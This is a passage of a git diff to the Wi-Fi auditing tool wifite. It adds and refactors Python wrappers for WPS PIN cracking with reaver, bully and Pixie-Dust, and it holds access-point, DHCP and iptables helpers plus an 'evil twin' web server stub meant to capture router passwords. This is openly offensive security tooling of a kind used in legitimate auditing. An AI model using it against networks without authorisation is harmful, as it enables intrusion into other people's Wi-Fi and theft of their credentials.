self.target, + 'Pixie-Dust', + '{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message)) + if newline: + Color.pl("") + def running_time(self): return int(time.time() - self.start_time) + def get_status(self): - result = self.state - result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time()) - result += " {G}tries:%d{W}" % self.pins_attempted - result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc) - result += " {R}lockouts:%d{W}" % self.consecutive_lockouts - result += ")" - return result + main_status = self.state + + meta_statuses = [] + if self.total_timeouts > 0: + meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts) + + if self.total_failures > 0: + meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures) + + if self.locked: + meta_statuses.append("{R}Locked{W}") + + if len(meta_statuses) > 0: + main_status += ' (%s)' % ', '.join(meta_statuses) + + return main_status + def parse_line_thread(self): for line in iter(self.bully_proc.pid.stdout.readline, b""): if line == "": continue line = line.replace("\r", "").replace("\n", "").strip() - if self.parse_line(line): break # Cracked - def parse_line(self, line): + if Configuration.verbose > 1: + Color.pe('\n{P} [bully:stdout] %s' % line) + + self.state = self.parse_state(line) + + self.crack_result = self.parse_crack_result(line) + + if self.crack_result: + break + + + def parse_crack_result(self, line): + # Check for line containing PIN and PSK + # [*] Pin is '80246213', key is 'password' + pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) + if pin_key_re: + self.cracked_pin = pin_key_re.group(1) + self.cracked_key = pin_key_re.group(2) + + ############### + # Check for PIN + if self.cracked_pin is None: + # PIN : '80246213' + pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) + if pin_re: + self.cracked_pin = pin_re.group(1) + + # [Pixie-Dust] PIN FOUND: 01030365 + pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line) + if pin_re: + self.cracked_pin = pin_re.group(1) + + if self.cracked_pin is not None: + # Mention the PIN & that we're not done yet. + self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True) + + self.state = "{G}Finding PSK...{C}" + time.sleep(2) + + ########################### + # KEY : 'password' + key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) + if key_re: + self.cracked_key = key_re.group(1) + + if not self.crack_result and self.cracked_pin and self.cracked_key: + self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True) + self.crack_result = CrackResultWPS( + self.target.bssid, + self.target.essid, + self.cracked_pin, + self.cracked_key) + Color.pl("") + self.crack_result.dump() + + return self.crack_result + + + def parse_state(self, line): + state = self.state + # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) if got_beacon: # group(1)=ESSID, group(2)=BSSID - self.state = "Got beacon" + state = "Got beacon" # [+] Last State = 'NoAssoc' Next pin '48855501' last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) if last_state: # group(1)=result, group(2)=PIN - result = "Start" # last_state.group(1) pin = last_state.group(2) - self.state = "Trying PIN:{C}%s{W}" % pin + state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1)) - # [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' - rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) - if rx_m: + mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) + if mx_result_pin: + self.locked = False # group(1)=M3/M5, group(2)=result, group(3)=PIN - self.m_state = rx_m.group(1) - result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad - if result in ["Pin1Bad", "Pin2Bad"]: - self.pins_attempted += 1 - self.consecutive_lockouts = 0 # Reset lockout count - self.consecutive_timeouts = 0 # Reset timeout count - self.consecutive_noassoc = 0 # Reset timeout count - result = "{G}%s{W}" % result - elif result == "Timeout": - self.consecutive_timeouts += 1 + m_state = mx_result_pin.group(1) + result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad + pin = mx_result_pin.group(3) + + if result == "Timeout": + self.total_timeouts += 1 + result = "{O}%s{W}" % result + elif result == "WPSFail": + self.total_failures += 1 result = "{O}%s{W}" % result elif result == "NoAssoc": - self.consecutive_noassoc += 1 result = "{O}%s{W}" % result else: result = "{R}%s{W}" % result - pin = rx_m.group(3) - self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result) + + result = "{P}%s{W}:%s" % (m_state.strip(), result.strip()) + state = "Trying PIN {C}%s{W} (%s)" % (pin, result) # [!] WPS lockout reported, sleeping for 43 seconds ... - lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) - if lock_out: - sleeping = lock_out.group(1) - self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping - self.consecutive_lockouts += 1 + re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) + if re_lockout: + self.locked = True + sleeping = re_lockout.group(1) + state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping # [Pixie-Dust] WPS pin not found - pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) - if pixie_re: - self.state = "{R}Failed{W}" - + re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) + if re_pin_not_found: + state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}" # [+] Running pixiewps with the information, wait ... - pixie_re = re.search(r".*Running pixiewps with the information", line) - if pixie_re: - self.state = "{G}Running pixiewps...{W}" - - # [*] Pin is '80246213', key is 'password' - # [*] Pin is '11867722', key is '9a6f7997' - pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) - if pin_key_re: - self.cracked_pin = pin_key_re.group(1) - self.cracked_key = pin_key_re.group(2) - - # PIN : '80246213' - pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) - if pin_re: - self.cracked_pin = pin_re.group(1) - - # KEY : 'password' - key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) - if key_re: - self.cracked_key = key_re.group(1) + re_running_pixiewps = re.search(r".*Running pixiewps with the information", line) + if re_running_pixiewps: + state = "{G}Running pixiewps...{W}" - #warn_re = re.search(r"\[\!\]\s*(.*)$", line) - #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1) + return state - if not self.crack_result and self.cracked_pin and self.cracked_key: - Color.clear_entire_line() - Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") - Color.pl("") - self.crack_result = CrackResultWPS( - self.target.bssid, - self.target.essid, - self.cracked_pin, - self.cracked_key) - Color.pl("") - self.crack_result.dump() - return True - else: - return False def stop(self): if hasattr(self, "pid") and self.pid and self.pid.poll() is None: self.pid.interrupt() + def __del__(self): self.stop() + + @staticmethod + def get_psk_from_pin(target, pin): + # Fetches PSK from a Target assuming "pin" is the correct PIN + ''' + bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon + PIN : '01030365' + KEY : 'password' + BSSID : '34:21:09:01:92:7c' + ESSID : 'AirLink89300' + ''' + cmd = [ + 'bully', + '--channel', target.channel, + '--bssid', target.bssid, + '--pin', pin, + '--bruteforce', + '--force', + Configuration.interface + ] + + bully_proc = Process(cmd) + + for line in bully_proc.stderr().split('\n'): + key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) + if key_re is not None: + psk = key_re.group(1) + return psk + + return None + + if __name__ == '__main__': + Configuration.initialize() + Configuration.interface = 'wlan0mon' + from ..model.target import Target + fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',') + target = Target(fields) + psk = Bully.get_psk_from_pin(target, '01030365') + print("psk", psk) + + ''' stdout = " [*] Pin is '11867722', key is '9a6f7997'" Configuration.initialize(False) from ..model.target import Target @@ -222,3 +329,4 @@ def __del__(self): target = Target(fields) b = Bully(target) b.parse_line(stdout) + ''' diff --git a/wifite/tools/dependency.py b/wifite/tools/dependency.py new file mode 100644 index 000000000..d575f571b --- /dev/null +++ b/wifite/tools/dependency.py @@ -0,0 +1,33 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +class Dependency(object): + required_attr_names = ['dependency_name', 'dependency_url', 'dependency_required'] + + # https://stackoverflow.com/a/49024227 + def __init_subclass__(cls): + for attr_name in cls.required_attr_names: + if not attr_name in cls.__dict__: + raise NotImplementedError( + "Attribute '{}' has not been overriden in class '{}'" \ + .format(attr_name, cls.__name__) + ) + + + @classmethod + def fails_dependency_check(cls): + from ..util.color import Color + from ..util.process import Process + + if Process.exists(cls.dependency_name): + return False + + if cls.dependency_required: + Color.pl('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name) + Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url) + return True + + else: + Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name) + Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url) + return False diff --git a/wifite/tools/dnsmasq.py b/wifite/tools/dnsmasq.py new file mode 100755 index 000000000..a9dff7965 --- /dev/null +++ b/wifite/tools/dnsmasq.py @@ -0,0 +1,71 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import os + +from .dependency import Dependency +from ..util.process import Process +from ..config import Configuration + +class Dnsmasq(Dependency): + '''Wrapper for dnsmasq program.''' + + dependency_required = False + dependency_name = 'dnsmasq' + dependency_url = 'apt-get install dnsmasq' + + def __init__(self, interface): + self.interface = interface + self.pid = None + self.config_file = None + + + def create_config_file(self): + self.config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf') + if os.path.exists(self.config_file): + os.remove(self.config_file) + + with open(self.config_file, 'w') as config: + config.write('interface={}\n'.format(self.interface)) + config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n') + config.write('dhcp-option=3,10.0.0.1\n') + config.write('dhcp-option=6,10.0.0.1\n') + config.write('server=8.8.8.8\n') + config.write('log-queries\n') + config.write('log-dhcp\n') + + + def start(self): + self.create_config_file() + + # Stop already-running dnsmasq process + self.killall() + + # Start new dnsmasq process + self.pid = Process([ + 'dnsmasq', + '-C', self.config_file + ]) + + + def stop(self): + # Kill dnsmasq process + if self.pid and self.pid.poll() is not None: + self.pid.interrupt() + + self.killall() + + if self.config_file and os.path.exists(self.config_file): + os.remove(self.config_file) + + + def killall(self): + Process(['killall', 'dnsmasq']).wait() + # TODO: Wait until dnsmasq is completely stopped. + + + def check(self): + if self.pid.poll() is not None: + raise Exception('dnsmasq stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout())) + # TODO: Check logs/output for problems + diff --git a/wifite/tools/eviltwin_server.py b/wifite/tools/eviltwin_server.py new file mode 100644 index 000000000..9c45b1902 --- /dev/null +++ b/wifite/tools/eviltwin_server.py @@ -0,0 +1,84 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler +from threading import Thread + +class EviltwinServer(HTTPServer, object): + + def __init__(self, success_callback, error_callback, port=80): + self.thread = None + # Store state in server + self.success_callback = success_callback + self.error_callback = error_callback + self.request_count = 0 + self.router_pages_served = 0 + # Initialize with our request handler + super(EviltwinServer, self).__init__(('', port), EviltwinRequestHandler) + + def start(self): + self.thread = Thread(target=self.serve_forever) + self.thread.start() + + def stop(self): + # From https://stackoverflow.com/a/268686 + self.shutdown() + self.socket.close() + + if self.thread: + self.thread.join() + + def request_count(self): + return self.request_count + + def router_pages_served(self): + return self.router_pages_served + + +class EviltwinRequestHandler(BaseHTTPRequestHandler): + + def do_GET(self): + self.server.request_count += 1 + request_path = self.path + + # TODO: URL mappings to load specific pages. E.g. Apple/Android "pings" + + print('\n----- Request Start ----->\n') + print(request_path) + print(self.headers) + print('<----- Request End -----\n') + + self.send_response(200) + self.send_header('Content-type', 'text/html') + self.end_headers() + self.wfile.write('Title goes here.') + self.wfile.write('

This is a test.

') + # If someone went to 'http://something.somewhere.net/foo/bar/', + # then s.path equals '/foo/bar/'. + self.wfile.write('

You accessed path: %s

' % self.path) + self.wfile.write('') + + + def do_POST(self): + self.server.request_count += 1 + request_path = self.path + + # TODO: If path includes router password, call self.server.success_callback + # TODO: Verify router passwords via separate interface? + + print('\n----- Request Start ----->\n') + print(request_path) + + request_headers = self.headers + content_length = request_headers.getheaders('content-length') + length = int(content_length[0]) if content_length else 0 + + print(request_headers) + print(self.rfile.read(length)) + print('<----- Request End -----\n') + + self.send_response(200) + + do_PUT = do_POST + do_DELETE = do_GET + diff --git a/wifite/tools/hostapd.py b/wifite/tools/hostapd.py new file mode 100755 index 000000000..c2131fb7d --- /dev/null +++ b/wifite/tools/hostapd.py @@ -0,0 +1,94 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import re +import os + +from .dependency import Dependency +from ..config import Configuration +from ..util.process import Process + +class Hostapd(Dependency): + process_name = 'hostapd' + + dependency_required = False + dependency_name = process_name + dependency_url = 'apt-get install hostapd' + + + @classmethod + def exists(cls): + return Process.exists(cls.process_name) + + + def __init__(self, target, interface): + self.target = target + self.interface = interface + self.pid = None + self.config_file = None + self.output_file = None + self.output_write = None + self.state = 'Initializing' + + + def create_config_file(self): + if not self.target.essid_known: + self.state = 'Error: Target ESSID is not known' + raise Exception('Cannot start hostapd if target has unknown SSID') + + self.config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf')) + + with open(self.config_file, 'w') as config: + config.write('driver=nl80211\n') + config.write('ssid={}\n'.format(self.target.essid)) + # TODO: support 5ghz + config.write('hw_mode=g\n') + config.write('channel={}\n'.format(self.target.channel)) + config.write('logger_syslog=-1\n') + config.write('logger_syslog_level=2\n') + + + def start(self): + self.create_config_file() + + self.killall() + + temp = Configuration.temp() + self.output_file = os.path.abspath(os.path.join(temp, 'hostapd.out')) + self.output_write = open(self.output_file, 'a') + + command = [ + self.process_name, + '-i', self.interface, + self.config_file + ] + + self.pid = Process(command, stdout=self.output_write, cwd=temp) + + + def stop(self): + if self.pid and self.pid.poll() is not None: + self.pid.interrupt() + + self.killall() + # TODO: Wait until hostapd is completely stopped. + + if self.output_write: + self.output_write.close() + + if self.config_file and os.path.exists(self.config_file): + os.remove(self.config_file) + + if self.output_file and os.path.exists(self.output_file): + os.remove(self.output_file) + + + def killall(self): + Process(['killall', self.process_name]).wait() + + + def check(self): + if self.pid.poll() is not None: + raise Exception('hostapd stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout())) + # TODO: Check hostapd logs / output for any problems. + diff --git a/wifite/tools/ifconfig.py b/wifite/tools/ifconfig.py new file mode 100755 index 000000000..8e206e6e1 --- /dev/null +++ b/wifite/tools/ifconfig.py @@ -0,0 +1,61 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import re + +from .dependency import Dependency + +class Ifconfig(Dependency): + dependency_required = True + dependency_name = 'ifconfig' + dependency_url = 'apt-get install net-tools' + + @classmethod + def up(cls, interface, args=[]): + '''Put interface up''' + from ..util.process import Process + + command = ['ifconfig', interface] + if type(args) is list: + command.extend(args) + elif type(args) is 'str': + command.append(args) + command.append('up') + + pid = Process(command) + pid.wait() + if pid.poll() != 0: + raise Exception('Error putting interface %s up:\n%s\n%s' % (interface, pid.stdout(), pid.stderr())) + + + @classmethod + def down(cls, interface): + '''Put interface down''' + from ..util.process import Process + + pid = Process(['ifconfig', interface, 'down']) + pid.wait() + if pid.poll() != 0: + raise Exception('Error putting interface %s down:\n%s\n%s' % (interface, pid.stdout(), pid.stderr())) + + + @classmethod + def get_mac(cls, interface): + from ..util.process import Process + + output = Process(['ifconfig', interface]).stdout() + + # Mac address separated by dashes + mac_dash_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] + match = re.search(' ({})'.format(mac_dash_regex), output) + if match: + return match.group(1).replace('-', ':') + + # Mac address separated by colons + mac_colon_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search(' ({})'.format(mac_colon_regex), output) + if match: + return match.group(1) + + raise Exception('Could not find the mac address for %s' % interface) + diff --git a/wifite/tools/iptables.py b/wifite/tools/iptables.py new file mode 100644 index 000000000..b0064c27d --- /dev/null +++ b/wifite/tools/iptables.py @@ -0,0 +1,73 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import re + +from .dependency import Dependency +from ..util.process import Process + +class Iptables(Dependency): + + process_name = 'iptables' + + dependency_required = False + dependency_name = process_name + dependency_url = 'apt-get install iptables' + + + @classmethod + def exists(cls): + return Process.exists(cls.process_name) + + + @classmethod + def __exec(cls, args, expect_return_code=0): + # Helper method for executing iptables commands. + + if type(args) is str: + args = args.split(' ') + + command = [cls.process_name] + args + + pid = Process(command) + pid.wait() + if expect_return_code and pid.poll() != 0: + raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr())) + + + # -N, --new-chain + @classmethod + def new_chain(cls, chain_name, table): + args = ['-N', chain_name, '-t', table] + cls.__exec(args) + + # -A, --append + @classmethod + def append(cls, chain, table=None, rules=[]): + args = [] + if table is not None: + args.extend(['-t', table]) + args.extend(['-A', chain]) + args.extend(rules) + cls.__exec(args) + + + # -F, --flush + @classmethod + def flush(cls, table=None): + args = [] + if table is not None: + args.extend(['-t', table]) + args.append('-F') + cls.__exec(args) + + + # -X, --delete-chain + @classmethod + def delete_chain(cls, table=None): + args = [] + if table is not None: + args.extend(['-t', table]) + args.append('-X') + cls.__exec(args) + diff --git a/wifite/tools/iwconfig.py b/wifite/tools/iwconfig.py new file mode 100755 index 000000000..74b9f2e84 --- /dev/null +++ b/wifite/tools/iwconfig.py @@ -0,0 +1,48 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from .dependency import Dependency + +class Iwconfig(Dependency): + dependency_required = True + dependency_name = 'iwconfig' + dependency_url = 'apt-get install wireless-tools' + + @classmethod + def exists(cls): + from ..util.process import Process + return Process.exists('iwconfig') + + + @classmethod + def mode(cls, iface, mode_name): + from ..util.process import Process + + pid = Process(['iwconfig', iface, 'mode', mode_name]) + pid.wait() + + return pid.poll() + + + @classmethod + def get_interfaces(cls, mode=None): + from ..util.process import Process + + interfaces = set() + + (out, err) = Process.call('iwconfig') + for line in out.split('\n'): + if len(line) == 0: continue + + if not line.startswith(' '): + iface = line.split(' ')[0] + if '\t' in iface: + iface = iface.split('\t')[0] + if mode is None: + interfaces.add(iface) + + if mode is not None and 'mode:{}'.format(mode.lower()) in line.lower(): + interfaces.add(iface) + + return list(interfaces) + diff --git a/wifite/tools/macchanger.py b/wifite/tools/macchanger.py index 46cd81ddf..8f2675a2d 100755 --- a/wifite/tools/macchanger.py +++ b/wifite/tools/macchanger.py @@ -1,82 +1,89 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -from ..model.interface import Interface +from .dependency import Dependency +from ..tools.ifconfig import Ifconfig from ..util.color import Color -class Macchanger(object): - is_init = False - is_changed = False - original_mac = None +class Macchanger(Dependency): + dependency_required = False + dependency_name = 'macchanger' + dependency_url = 'apt-get install macchanger' - @classmethod - def init(cls): - if cls.is_init: return - from ..config import Configuration - iface = Configuration.interface - if type(iface) == Interface: - iface = iface.name - cls.original_mac = Interface.get_mac(iface) + is_changed = False @classmethod - def down_macch_up(cls, macch_option): - cls.init() + def down_macch_up(cls, iface, options): + '''Put interface down, run macchanger with options, put interface up''' from ..util.process import Process - from ..config import Configuration - iface = Configuration.interface - cmd = ["ifconfig", iface, "down"] Color.clear_entire_line() - Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface) - ifdown = Process(cmd) - ifdown.wait() - if ifdown.poll() != 0: - Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) - Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr())) - return False + Color.p('\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface) + + Ifconfig.down(iface) - cmd = ["macchanger", macch_option, iface] Color.clear_entire_line() - Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface) - macch = Process(cmd) + Color.p('\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface) + + command = ['macchanger'] + command.extend(options) + command.append(iface) + macch = Process(command) macch.wait() if macch.poll() != 0: - Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) - Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr())) + Color.pl('\n{!} {R}macchanger{O}: error running {R}%s{O}' % ' '.join(command)) + Color.pl('{!} {R}output: {O}%s, %s{W}' % (macch.stdout(), macch.stderr())) return False - cmd = ["ifconfig", iface, "up"] Color.clear_entire_line() - Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface) - ifup = Process(cmd) - ifup.wait() - if ifup.poll() != 0: - Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) - Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr())) - return False + Color.p('\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface) + + Ifconfig.up(iface) + return True + @classmethod - def reset(cls): - # --permanent to reset to permanent MAC address - if not cls.down_macch_up("-p"): return - Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...") + def get_interface(cls): + # Helper method to get interface from configuration from ..config import Configuration - new_mac = Interface.get_mac(Configuration.interface) - Color.clear_entire_line() - Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac) + return Configuration.interface + + + @classmethod + def reset(cls): + iface = cls.get_interface() + Color.pl('\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface) + # -p to reset to permanent MAC address + if cls.down_macch_up(iface, ['-p']): + new_mac = Ifconfig.get_mac(iface) + + Color.clear_entire_line() + Color.pl('\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface)) + @classmethod def random(cls): - # Use --permanent to use random MAC address - if not cls.down_macch_up("-r"): return - cls.is_changed = True - from ..config import Configuration - new_mac = Interface.get_mac(Configuration.interface) - Color.clear_entire_line() - Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac) + from ..util.process import Process + if not Process.exists('macchanger'): + Color.pl('{!} {R}macchanger: {O}not installed') + return + + iface = cls.get_interface() + Color.pl('\n{+} {C}macchanger{W}: changing mac address on {C}%s{W}' % iface) + + # -r to use random MAC address + # -e to keep vendor bytes the same + if cls.down_macch_up(iface, ['-e']): + cls.is_changed = True + new_mac = Ifconfig.get_mac(iface) + + Color.clear_entire_line() + Color.pl('\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface)) + @classmethod def reset_if_changed(cls): - if not cls.is_changed: return - cls.reset() + if cls.is_changed: + cls.reset() + diff --git a/wifite/tools/pyrit.py b/wifite/tools/pyrit.py new file mode 100755 index 000000000..3b7d0f7f0 --- /dev/null +++ b/wifite/tools/pyrit.py @@ -0,0 +1,63 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from .dependency import Dependency +from ..util.process import Process +import re + +class Pyrit(Dependency): + ''' Wrapper for Pyrit program. ''' + dependency_required = False + dependency_name = 'pyrit' + dependency_url = 'https://github.com/JPaulMora/Pyrit/wiki' + + def __init__(self): + pass + + @staticmethod + def exists(): + return Process.exists('pyrit') + + @staticmethod + def bssid_essid_with_handshakes(capfile, bssid=None, essid=None): + if not Pyrit.exists(): + return [] + + command = [ + 'pyrit', + '-r', capfile, + 'analyze' + ] + pyrit = Process(command, devnull=False) + + current_bssid = current_essid = None + bssid_essid_pairs = set() + + ''' + #1: AccessPoint 18:a6:f7:31:d2:06 ('TP-LINK_D206'): + #1: Station 08:66:98:b2:ab:28, 1 handshake(s): + #1: HMAC_SHA1_AES, good, spread 1 + #2: Station ac:63:be:3a:a2:f4 + ''' + + for line in pyrit.stdout().split('\n'): + mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search("^#\d+: AccessPoint (%s) \('(.*)'\):$" % (mac_regex), line) + if match: + # We found a new BSSID and ESSID + (current_bssid, current_essid) = match.groups() + + if bssid is not None and bssid.lower() != current_bssid: + current_bssid = None + current_essid = None + elif essid is not None and essid != current_essid: + current_bssid = None + current_essid = None + + elif current_bssid is not None and current_essid is not None: + # We hit an AP that we care about. + # Line does not contain AccessPoint, see if it's "good" + if ', good' in line: + bssid_essid_pairs.add( (current_bssid, current_essid) ) + + return list(bssid_essid_pairs) diff --git a/wifite/tools/reaver.py b/wifite/tools/reaver.py index 5a3fe48e2..69cc8b528 100755 --- a/wifite/tools/reaver.py +++ b/wifite/tools/reaver.py @@ -1,161 +1,247 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency +from .airodump import Airodump +from .bully import Bully # for PSK retrieval from ..model.attack import Attack from ..config import Configuration from ..util.color import Color from ..util.process import Process -from ..tools.airodump import Airodump +from ..util.timer import Timer from ..model.wps_result import CrackResultWPS import os, time, re -class Reaver(Attack): +class Reaver(Attack, Dependency): + dependency_required = False + dependency_name = 'reaver' + dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x' + def __init__(self, target): super(Reaver, self).__init__(target) - self.success = False + + self.start_time = None + self.state = 'Initializing' + self.locked = False + self.total_timeouts = 0 + self.total_wpsfails = 0 + self.crack_result = None + self.output_filename = Configuration.temp('reaver.out') + if os.path.exists(self.output_filename): + os.remove(self.output_filename) + + self.output_write = open(self.output_filename, 'a') + + self.reaver_cmd = [ + 'reaver', + '--interface', Configuration.interface, + '--bssid', self.target.bssid, + '--channel', self.target.channel, + '--pixie-dust', '1', # pixie-dust attack + '--session', '/dev/null', # Don't restart session + '-vv' # (very) verbose + ] + + self.reaver_proc = None + def is_pixiedust_supported(self): ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' output = Process(['reaver', '-h']).stderr() return '--pixie-dust' in output - def run_pixiedust_attack(self): - # Write reaver stdout to file. - self.stdout_file = Configuration.temp('reaver.out') - if os.path.exists(self.stdout_file): - os.remove(self.stdout_file) + def run(self): + ''' Returns True if attack is successful. ''' + try: + self._run() # Run-loop + except Exception as e: + # Failed with error + self.pattack('{R}Failed:{O} %s' % str(e), newline=True) + return self.crack_result is not None - command = [ - 'reaver', - '--interface', Configuration.interface, - '--bssid', self.target.bssid, - '--channel', self.target.channel, - '--pixie-dust', '1', # pixie-dust attack - #'--delay', '0', - #'--no-nacks', - '--session', '/dev/null', # Don't restart session - '-vv' # (very) verbose - ] - stdout_write = open(self.stdout_file, 'a') - reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) + # Stop reaver if it's still running + if self.reaver_proc.poll() is None: + self.reaver_proc.interrupt() + + # Clean up open file handle + if self.output_write: + self.output_write.close() + + return self.crack_result is not None - pin = None - step = 'initializing' - time_since_last_step = 0 + + def _run(self): + self.start_time = time.time() with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='pixie') as airodump: - Color.clear_line() - Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") + # Wait for target + self.pattack("Waiting for target to appear...") + self.target = self.wait_for_target(airodump) + + # Start reaver + self.reaver_proc = Process(self.reaver_cmd, + stdout=self.output_write, + stderr=Process.devnull()) + + # Loop while reaver is running + while self.crack_result is None and self.reaver_proc.poll() is None: + + # Refresh target information (power) + self.target = self.wait_for_target(airodump) + + # Update based on reaver output + stdout = self.get_output() + self.state = self.parse_state(stdout) + self.parse_failure(stdout) + + # Print status line + self.pattack(self.get_status()) + + # Check if we cracked it + self.crack_result = self.parse_crack_result(stdout) + + time.sleep(0.5) + + # Check if crack result is in output + stdout = self.get_output() + self.crack_result = self.parse_crack_result(stdout) + + # Show any failures found + if self.crack_result is None: + self.parse_failure(stdout) + + if self.crack_result is None and self.reaver_proc.poll() is not None: + raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll()) + + + def get_status(self): + main_status = self.state + + meta_statuses = [] + if self.total_timeouts > 0: + meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts) + + if self.total_wpsfails > 0: + meta_statuses.append("{O}WPSFail:%d{W}" % self.total_wpsfails) + + if self.locked: + meta_statuses.append("{R}Locked{W}") + + if len(meta_statuses) > 0: + main_status += ' (%s)' % ', '.join(meta_statuses) + + return main_status + + + def parse_crack_result(self, stdout): + if self.crack_result is not None: + return self.crack_result - while True: - try: - airodump_target = self.wait_for_target(airodump) - except Exception as e: - Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) + (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) + + # Check if we cracked it, or if process stopped. + if pin is not None: + # We cracked it. + + if psk is not None: + # Reaver provided PSK + self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True) + else: + self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True) + + # Try to derive PSK from PIN using Bully + self.pattack('{W}Retrieving PSK using {C}bully{W}...') + psk = Bully.get_psk_from_pin(self.target, pin) + if psk is None: Color.pl("") - return False - - stdout_write.flush() - - # Check output from reaver process - stdout = self.get_stdout() - stdout_last_line = stdout.split('\n')[-1] - - (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) - - # Check if we cracked it, or if process stopped. - if pin is not None or reaver.poll() is not None: - reaver.interrupt() - - # Check one-last-time for PIN/PSK/SSID, in case of race condition. - stdout = self.get_stdout() 